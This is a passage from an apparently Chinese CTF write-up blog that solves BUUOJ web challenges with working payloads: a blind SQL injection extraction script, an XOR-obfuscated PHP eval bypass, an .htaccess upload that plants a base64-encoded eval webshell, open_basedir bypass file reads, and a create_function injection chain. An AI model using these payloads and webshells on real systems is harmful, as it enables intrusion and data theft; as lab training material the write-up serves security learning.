for i in range(1,100):
left=32
right=128
mid=(left+right)>>1
while (left<right):
data={"id":"2||(ascii(substr(database(),{},1))>{})".format(i,mid)}
r=requests.post(url=url,data=data)
if '429' or '404' in r.text:
time.sleep(0.5)
if 'Nu1L' in r.text:
left=mid+1
if 'V&N' in r.text:
right=mid
mid=(left+right)>>1
if(mid==32 or mid ==127):
break
flag+=chr(mid)
print(flag)


print(flag)
# give_grandpa_pa_pa_pa

由于information_schema被过滤了,我们需要使用其他的库,参考

我们试一下sys.x$schema_flattened_keys是可以用的。

爆破数据表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import time
url="http://637c56e9-8e90-4d3c-8f52-76fc2058a8bf.node4.buuoj.cn/index.php"
flag=""
for i in range(1,100):
left=32
right=128
mid=(left+right)>>1
while (left<right):
data={"id":"2||(ascii(substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),{},1))>{})".format(i,mid)}
r=requests.post(url=url,data=data)
if '429' or '404' in r.text:
time.sleep(0.5)
if 'Nu1L' in r.text:
left=mid+1
if 'V&N' in r.text:
right=mid
mid=(left+right)>>1
if(mid==32 or mid ==127):
break
flag+=chr(mid)
print(flag)


print(flag)

得到两个表名

1
f1ag_1s_h3r3_hhhhh,users233333333333333

后面的不会处理了,看一下讲的很详细的一篇不错的文章

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
url="http://637c56e9-8e90-4d3c-8f52-76fc2058a8bf.node4.buuoj.cn/index.php"
flag=""
def str_hex(s):
res=''
for i in s:
res+=hex(ord(i)).replace('0x','')
res='0x'+res
return res

for i in range(1,300):
for j in range(32,128):
data={"id":"2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))".format(str_hex(flag+chr(j)))}
r=requests.post(url=url,data=data)
if '429' or '404' in r.text:
time.sleep(0.5)
if 'Nu1L' in r.text:
flag+=chr(j-1)
print(flag)
break

[SUCTF 2019]EasyWeb

1
<?phpfunction get_the_flag(){    // webadmin will remove your upload file every 20 min!!!!     $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);    if(!file_exists($userdir)){    mkdir($userdir);    }    if(!empty($_FILES["file"])){        $tmp_name = $_FILES["file"]["tmp_name"];        $name = $_FILES["file"]["name"];        $extension = substr($name, strrpos($name,".")+1);    if(preg_match("/ph/i",$extension)) die("^_^");         if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");    if(!exif_imagetype($tmp_name)) die("^_^");         $path= $userdir."/".$name;        @move_uploaded_file($tmp_name, $path);        print_r($path);    }}$hhh = @$_GET['_'];if (!$hhh){    highlight_file(__FILE__);}if(strlen($hhh)>18){    die('One inch long, one inch strong!');}if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )    die('Try something else!');$character_type = count_chars($hhh, 3);if(strlen($character_type)>12) die("Almost there!");eval($hhh);?>

代码审计,通过符号_参数get传入内容,这里有个正则匹配,我们尝试异或进行绕过一下,前面的文章有介绍。

1
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

成功绕过,看见版本号等等信息。

补充一下post提交的异或方法。

1
$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);\\assert$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;\\$b = $_POST$a($c[1]);

本题不能使用post提交。

成功后我们尝试执行函数get_the_flag,目的应该是让我们上传文件,三个限制条件,

1、文件中内容没有<?

2、使用函数exif_imagetype来判断是否为图片,这里我们一般使用GIF89A文件头绕过。

3、后缀名中不允许出现ph

是apache中间件,这里尝试上传.htaccess文件,如果上传.user.ini,还要求目录下有php文件。

这里需要特别注意,如果使用GIF89A文件头绕过,.htaccess文件无法生效,我们学习了一下,可以通过添加

1
#define width 1337#define height 1337

#在.htaccess是注释符,所以.htaccess文件可以生效,

在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess

接下来是绕过<?过滤,由于版本是php7.2,无法使用标签进行注入。

我们可以通过base64编码一句话,然后在.htaccess文件利用php伪协议进行解码,

1
#define width 1337#define height 1337 AddType application/x-httpd-php .abcphp_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc"

shell.abc内容

1
GIF89a12PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==

这里GIF89a后面那个12是为了补足8个字节,满足base64编码的规则,使用其他的文件头也是可以的

上脚本

1
import requestsimport base64htaccess = b"""#define width 1337#define height 1337 AddType application/x-httpd-php .abcphp_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc""""shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")url = "http://f6dac892-28e5-4eca-be9e-c88ab2549805.node3.buuoj.cn/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"files = {'file':('.htaccess',htaccess,'image/jpeg')}data = {"upload":"Submit"}response = requests.post(url=url, data=data, files=files)print(response.text)files = {'file':('shell.abc',shell,'image/jpeg')}response = requests.post(url=url, data=data, files=files)print(response.text)

发现存在open_basedir和disable_functions的限制

bypass open_basedir

最后的payload

1
?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
1
?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));

参考:https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/

[BJDCTF2020]EzPHP

f12查看源码,base32解码,得到1nD3x.php

访问得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 <?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!

首先注意$_SERVER['QUERY_STRING']不会进行url解码,$_GET接受参数会进行url解码,所以我们可以通过url全编码绕过黑名单。

同时通过%0a换行符绕过正则匹配

1
2
preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute'
#要求字符串开头和结尾都匹配刀aqua_is_cute且字符串不等于aqua_is_cute

再后面有个$_REQUEST请求,同时接受get请求和post请求,由于post请求优先级更高,我们可以post提交数字绕过。

sha1函数绕过就通过数组即可。

通过data协议传入内容

payload:

1
2
3
4
?file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

post提交
file=1&debu=2

最后一个小知识

create_function()函数注入

由于函数extract()使用数组键名作为变量值,所以我们让数组键名为code和arg就可以实现变量覆盖,成功注入代码:

通过函数get_defined_vars()可以将所有变量和值输出

1
&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

payload:

1
2
3
4
?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function

post
file=1&debu=2

提示flag在rea1fl4g.php,由于include被过滤,我们使用require代替,

1
require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)

由于限制太多,最终用取反绕过

1
require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))

最终payload:

1
2
3
4
?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&%66%6c%61%67[%63%6f%64%65]=create_function

post
file=1&debu=2

参考

-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道